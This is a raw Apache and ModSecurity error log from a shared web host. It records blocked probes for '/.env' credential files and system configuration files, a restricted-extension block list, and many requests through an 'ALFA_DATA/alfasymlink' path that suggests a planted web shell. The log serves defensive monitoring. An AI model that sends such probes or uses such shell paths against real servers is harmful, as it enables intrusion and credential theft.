[Mon Oct 26 02:31:17.807309 2026] [security2:error] [pid 2984316:tid 2984316] [client 34.153.219.8:39854] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztSmvL3FYV1A8W3js7AAAAA0"]
[Mon Oct 26 02:31:17.912372 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:39940] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/model/.env"] [unique_id "at7ztaflAYQKhf1b3nSAFwAAAAA"]
[Mon Oct 26 02:31:17.912620 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:39940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/model/.env"] [unique_id "at7ztaflAYQKhf1b3nSAFwAAAAA"]
[Mon Oct 26 02:31:17.913433 2026] [security2:error] [pid 2984431:tid 2984431] [client 34.153.219.8:39940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztaflAYQKhf1b3nSAFwAAAAA"]
[Mon Oct 26 02:31:18.113522 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:39920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/llm/.env"] [unique_id "at7ztqy4l0fHhEjHUwfK-QAAAAo"]
[Mon Oct 26 02:31:18.113804 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:39920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/llm/.env"] [unique_id "at7ztqy4l0fHhEjHUwfK-QAAAAo"]
[Mon Oct 26 02:31:18.114626 2026] [security2:error] [pid 2984441:tid 2984441] [client 34.153.219.8:39920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7ztqy4l0fHhEjHUwfK-QAAAAo"]
[Mon Oct 26 02:31:18.141620 2026] [ssl:error] [pid 2984442:tid 2984442] (70014)End of file found: [client 18.215.77.19:21182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:31:20.614217 2026] [core:error] [pid 2984447:tid 2984447] (13)Permission denied: [client 185.191.171.5:12702] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/hwcache_align
[Mon Oct 26 02:31:22.995296 2026] [core:error] [pid 2984461:tid 2984461] (13)Permission denied: [client 85.208.96.200:54790] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/slabs_cpu_partial
[Mon Oct 26 02:31:30.181375 2026] [ssl:error] [pid 2984451:tid 2984451] (70014)End of file found: [client 54.225.181.161:25815] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:31:42.134225 2026] [ssl:error] [pid 2984461:tid 2984461] (70014)End of file found: [client 54.235.125.129:7432] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:32:00.588994 2026] [security2:error] [pid 2978292:tid 2978292] [client 107.172.76.131:51710] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7z1MsSPc2x-7wrKR3J6AAAAAs"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 02:32:00.589051 2026] [security2:error] [pid 2978292:tid 2978292] [client 107.172.76.131:51710] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7z1MsSPc2x-7wrKR3J6AAAAAs"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 02:32:14.313864 2026] [ssl:error] [pid 2981794:tid 2981794] (70014)End of file found: [client 18.204.152.114:41896] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:32:18.204553 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 52.54.95.127:38068] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:32:35.449629 2026] [security2:error] [pid 2973345:tid 2973345] [client 216.244.66.250:60876] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/mtools.conf"] [unique_id "at70AzmdE81tCi2v472fggAAABg"]
[Mon Oct 26 02:32:35.450075 2026] [security2:error] [pid 2973345:tid 2973345] [client 216.244.66.250:60876] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/mtools.conf"] [unique_id "at70AzmdE81tCi2v472fggAAABg"]
[Mon Oct 26 02:32:35.450439 2026] [security2:error] [pid 2973345:tid 2973345] [client 216.244.66.250:60876] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/mtools.conf"] [unique_id "at70AzmdE81tCi2v472fggAAABg"]
[Mon Oct 26 02:32:42.549628 2026] [core:error] [pid 2984316:tid 2984316] (13)Permission denied: [client 52.205.141.124:8601] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS2/io_type
[Mon Oct 26 02:32:46.242944 2026] [ssl:error] [pid 2982383:tid 2982383] (70014)End of file found: [client 54.80.73.122:42603] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:32:58.294311 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 3.223.181.32:43906] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:33:12.003394 2026] [core:error] [pid 2981794:tid 2981794] (13)Permission denied: [client 85.208.96.209:14514] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_conntrack_ftp/sections/__ksymtab_gpl
[Mon Oct 26 02:33:14.657196 2026] [core:error] [pid 2984447:tid 2984447] (13)Permission denied: [client 185.191.171.5:40422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/objects_partial
[Mon Oct 26 02:33:26.517360 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 3.225.9.97:45417] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:33:34.584346 2026] [ssl:error] [pid 2984175:tid 2984175] (70014)End of file found: [client 23.21.148.226:47325] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:33:38.292144 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 18.232.11.247:14639] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:33:54.315186 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 52.205.113.104:1894] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:33:57.648996 2026] [security2:error] [pid 2984316:tid 2984316] [client 216.244.66.250:50726] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo-ldap.conf"] [unique_id "at70VSmvL3FYV1A8W3js9AAAAA0"]
[Mon Oct 26 02:33:57.649391 2026] [security2:error] [pid 2984316:tid 2984316] [client 216.244.66.250:50726] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo-ldap.conf"] [unique_id "at70VSmvL3FYV1A8W3js9AAAAA0"]
[Mon Oct 26 02:33:57.649709 2026] [security2:error] [pid 2984316:tid 2984316] [client 216.244.66.250:50726] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo-ldap.conf"] [unique_id "at70VSmvL3FYV1A8W3js9AAAAA0"]
[Mon Oct 26 02:34:02.348093 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 54.209.100.30:20676] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:34:06.457643 2026] [ssl:error] [pid 2982258:tid 2982258] (70014)End of file found: [client 44.215.210.112:8842] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:34:08.449786 2026] [core:crit] [pid 2984451:tid 2984451] (13)Permission denied: [client 176.32.193.16:39082] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 02:34:09.263585 2026] [core:crit] [pid 2982084:tid 2982084] (13)Permission denied: [client 176.32.193.16:39088] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 02:34:10.524319 2026] [ssl:error] [pid 2968016:tid 2968016] (70014)End of file found: [client 18.213.102.186:22596] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:34:14.504079 2026] [ssl:error] [pid 2982258:tid 2982258] (70014)End of file found: [client 98.82.59.253:51480] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:34:22.406285 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 100.28.118.16:17932] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:34:24.224142 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 185.191.171.8:63372] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:34:31.377051 2026] [ssl:error] [pid 2984447:tid 2984447] (70014)End of file found: [client 34.231.118.144:39890] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:34:50.341639 2026] [ssl:error] [pid 2968016:tid 2968016] (70014)End of file found: [client 44.193.115.232:30114] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:34:54.500084 2026] [ssl:error] [pid 2984447:tid 2984447] (70014)End of file found: [client 3.232.39.98:40531] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:35:02.506046 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 184.73.167.217:40737] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:35:06.380920 2026] [ssl:error] [pid 2982258:tid 2982258] (70014)End of file found: [client 54.156.248.117:36640] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:35:18.735954 2026] [core:error] [pid 2984462:tid 2984462] (13)Permission denied: [client 184.73.35.182:25166] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:20/subsystem/drivers_probe
[Mon Oct 26 02:35:22.316474 2026] [core:error] [pid 2982258:tid 2982258] (13)Permission denied: [client 185.191.171.3:61528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCPv6/reclaim_account
[Mon Oct 26 02:35:22.452616 2026] [ssl:error] [pid 2968016:tid 2968016] (70014)End of file found: [client 54.147.80.137:50773] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:35:26.476768 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 52.3.155.146:52198] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:35:30.759772 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 18.208.11.93:53342] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:35:58.460465 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 52.3.156.186:40766] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:36:10.587646 2026] [ssl:error] [pid 2982084:tid 2982084] (5)Input/output error: [client 52.6.5.24:41825] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:36:14.613536 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 107.20.255.194:30816] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:36:38.611899 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 3.224.205.25:2939] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:36:43.057367 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 54.80.185.200:57344] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:36:47.636562 2026] [authz_core:error] [pid 2963542:tid 2963542] [client 62.171.170.229:52016] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 02:36:49.103380 2026] [security2:error] [pid 2978288:tid 2978288] [client 107.172.76.131:51713] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at709dme1KEgtmTVIXKenQAAAAc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 02:36:49.103445 2026] [security2:error] [pid 2978288:tid 2978288] [client 107.172.76.131:51713] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at709dme1KEgtmTVIXKenQAAAAc"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 02:36:58.010245 2026] [security2:error] [pid 2984263:tid 2984263] [client 107.172.76.131:51709] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at70_W8Wy8nVXaqh4LMfvgAAAAw"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 02:36:58.010301 2026] [security2:error] [pid 2984263:tid 2984263] [client 107.172.76.131:51709] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at70_W8Wy8nVXaqh4LMfvgAAAAw"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 02:37:01.110724 2026] [authz_core:error] [pid 2973345:tid 2973345] [client 195.178.110.105:15526] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:37:01.677676 2026] [authz_core:error] [pid 2984073:tid 2984073] [client 195.178.110.105:15532] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:37:02.606357 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 3.230.69.161:6765] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:37:06.724327 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 100.28.204.82:1524] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:37:10.495292 2026] [security2:error] [pid 2982126:tid 2982126] [client 107.172.76.131:51704] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at71CWOlQEA7vTaN5Z-h1QAAABA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 02:37:10.495373 2026] [security2:error] [pid 2982126:tid 2982126] [client 107.172.76.131:51704] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at71CWOlQEA7vTaN5Z-h1QAAABA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 02:37:10.763920 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 44.210.204.255:32368] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:37:18.587383 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 184.72.84.154:30584] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:37:30.606883 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 54.235.172.96:24103] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:37:34.842161 2026] [core:error] [pid 2974954:tid 2974954] (13)Permission denied: [client 52.71.218.25:58532] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/event1/subsystem/input1/device/firmware_node/physical_node1/driver/serio0/driver/unbind
[Mon Oct 26 02:37:34.842749 2026] [security2:error] [pid 2974954:tid 2974954] [client 52.71.218.25:58532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/event1/subsystem/input1/device/firmware_node/physical_node1/driver/serio0/driver/unbind"] [unique_id "at71LuPdqEmNX1cUUB8h9gAAAAI"]
[Mon Oct 26 02:37:34.842779 2026] [security2:error] [pid 2974954:tid 2974954] [client 52.71.218.25:58532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/event1/subsystem/input1/device/firmware_node/physical_node1/driver/serio0/driver/unbind"] [unique_id "at71LuPdqEmNX1cUUB8h9gAAAAI"]
[Mon Oct 26 02:37:38.709145 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 35.172.125.172:49657] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:37:42.628893 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 44.206.65.8:11665] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:37:46.794079 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 54.163.169.168:15602] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:37:54.578854 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 34.238.45.183:9293] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:38:02.819725 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 44.223.232.55:13972] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:38:06.988535 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 18.213.70.100:22997] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:38:10.817591 2026] [ssl:error] [pid 2973345:tid 2973345] (70014)End of file found: [client 50.16.72.185:3824] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:38:18.923887 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 44.221.227.90:2980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:38:22.698261 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 54.204.62.163:41949] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:38:34.638895 2026] [core:error] [pid 2978303:tid 2978303] (13)Permission denied: [client 18.215.77.19:8542] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/PNP0A06:00/subsystem/devices/device:1e/eject
[Mon Oct 26 02:38:39.709588 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 185.191.171.8:65150] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:38:42.917745 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 18.214.186.220:26841] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:38:46.821124 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 18.205.91.101:14476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:38:50.775818 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 34.224.9.144:65277] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:38:58.682987 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 3.215.221.125:21071] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:38:59.529046 2026] [core:error] [pid 2963542:tid 2963542] (13)Permission denied: [client 185.191.171.6:13330] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8/trace
[Mon Oct 26 02:39:03.300536 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 3.217.171.106:13472] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:39:18.834883 2026] [core:error] [pid 2984452:tid 2984452] (13)Permission denied: [client 54.197.178.107:13153] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/crash_notes
[Mon Oct 26 02:39:27.055672 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 98.82.39.241:48599] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:39:34.839080 2026] [core:error] [pid 2984452:tid 2984452] (13)Permission denied: [client 44.212.232.231:46256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/pvpanic/unbind
[Mon Oct 26 02:39:42.921544 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 100.28.204.82:18886] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:39:46.743089 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 18.215.49.176:58044] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:39:53.740035 2026] [core:error] [pid 2963542:tid 2963542] (13)Permission denied: [client 85.208.96.200:63612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/rescan
[Mon Oct 26 02:40:00.148790 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 185.191.171.5:15758] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_defrag_ipv6/sections/__kcrctab_gpl
[Mon Oct 26 02:40:03.229258 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 18.210.58.238:47639] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:40:06.940954 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 18.206.47.187:51818] AH02013: coalesce failed to read from data bucket
